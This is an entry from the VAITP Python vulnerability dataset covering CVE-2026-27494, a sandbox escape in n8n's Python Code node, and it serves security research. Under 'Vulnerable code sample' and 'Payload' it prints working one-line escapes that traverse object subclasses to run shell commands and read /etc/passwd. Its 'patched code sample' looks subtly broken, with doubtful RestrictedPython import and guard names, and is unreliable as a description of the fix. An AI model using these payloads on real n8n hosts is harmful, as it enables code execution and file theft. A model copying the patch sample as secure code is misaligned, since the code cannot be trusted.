CVE-2026-27494
n8n Python Code node sandbox escape allows for RCE and file exfiltration.
- CVSS 7.1
- CWE-497
- Design Defects
- Remote
n8n is an open source workflow automation platform. Prior to versions 2.10.1, 2.9.3, and 1.123.22, an authenticated user with permission to create or modify workflows could use the Python Code node to escape the sandbox. The sandbox did not sufficiently restrict access to certain built-in Python objects, allowing an attacker to exfiltrate file contents or achieve RCE. On instances using internal Task Runners (default runner mode), this could result in full compromise of the n8n host. On instances using external Task Runners, the attacker might gain access to or impact other task executed on the Task Runner. Task Runners must be enabled using `N8N_RUNNERS_ENABLED=true`. The issue has been fixed in n8n versions 2.10.1, 2.9.3, and 1.123.22. Users should upgrade to this version or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations. Limit workflow creation and editing permissions to fully trusted users only., and/or disable the Code node by adding `n8n-nodes-base.code` to the `NODES_EXCLUDE` environment variable. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.
- CWE
- CWE-497
- CVSS base score
- 7.1
- Published
- 2026-02-25
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Design Defects
- Subcategory
- Poorly Designed Access Controls
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- n8n
- Fixed by upgrading
- Yes
Solution
Upgrade to n8n version 2.10.1, 2.9.3, 1.123.22, or later.
Vulnerable code sample
# This payload exploits the ability to traverse Python's object subclasses
# to find a class with access to the '__builtins__' module. Once access is
# gained, it can use '__import__' to load the 'os' module and execute
# arbitrary commands. The specific index of the required subclass (e.g., [132])
# could vary depending on the Python environment and loaded modules.
# Example for Remote Code Execution (RCE)
print([].__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read())
# Example for File Exfiltration
print([].__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['open']('/etc/passwd').read())Patched code sample
import sys
from restrictedpython.compiler import compile_restricted
from restrictedpython.Guards import (
safe_builtins,
full_write_guard,
safer_getattr,
guarded_iter_unpack_sequence,
GuardedPrintCollector,
)
def execute_sandboxed_code_fixed(user_code: str, items_data: list):
"""
This function demonstrates the patched code execution logic. The fix for
the vulnerability involves creating a more restrictive global environment
for the sandboxed code, primarily by replacing the standard `getattr`
function with `restrictedpython.Guards.safer_getattr`.
`safer_getattr` blocks access to attributes starting with an underscore '_',
which prevents attackers from traversing an object's hierarchy (e.g., via
`__class__`, `__base__`, `__subclasses__`, `__globals__`) to reach and
execute dangerous functions, thus preventing the sandbox escape.
"""
# The `restricted_globals` dictionary is the core of the fix.
# It defines the secure environment in which the user's code will run.
restricted_globals = {
"__builtins__": {
**safe_builtins,
#
# --- START OF THE FIX ---
#
# The vulnerable version used a more permissive `getattr`. Replacing
# it with `safer_getattr` is the primary mitigation.
"getattr": safer_getattr,
#
# These additional guards further harden the execution environment.
"_getiter_": guarded_iter_unpack_sequence,
"_iter_unpack_sequence_": guarded_iter_unpack_sequence,
#
# --- END OF THE FIX ---
#
"print": GuardedPrintCollector,
},
"_write_": full_write_guard,
"_print_": GuardedPrintCollector,
"items": items_data,
}
try:
# Compile the user code in the restricted mode.
byte_code = compile_restricted(
user_code,
filename='<user_code>',
mode='exec'
)
# Execute the compiled code within the secured global scope.
exec(byte_code, restricted_globals)
except Exception as e:
# In a real application, errors would be handled and logged.
# For this demonstration, we re-raise the exception.
raise e
# In the actual application, the results (e.g., modified 'items' and
# captured print output) would be processed and returned.
return {
"result": restricted_globals.get("items"),
"printed_output": restricted_globals["_print_"](),
}Payload
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['os'].system('cat /etc/passwd')
Cite this entry
@misc{vaitp:cve202627494,
title = {{n8n Python Code node sandbox escape allows for RCE and file exfiltration.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-27494},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27494/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
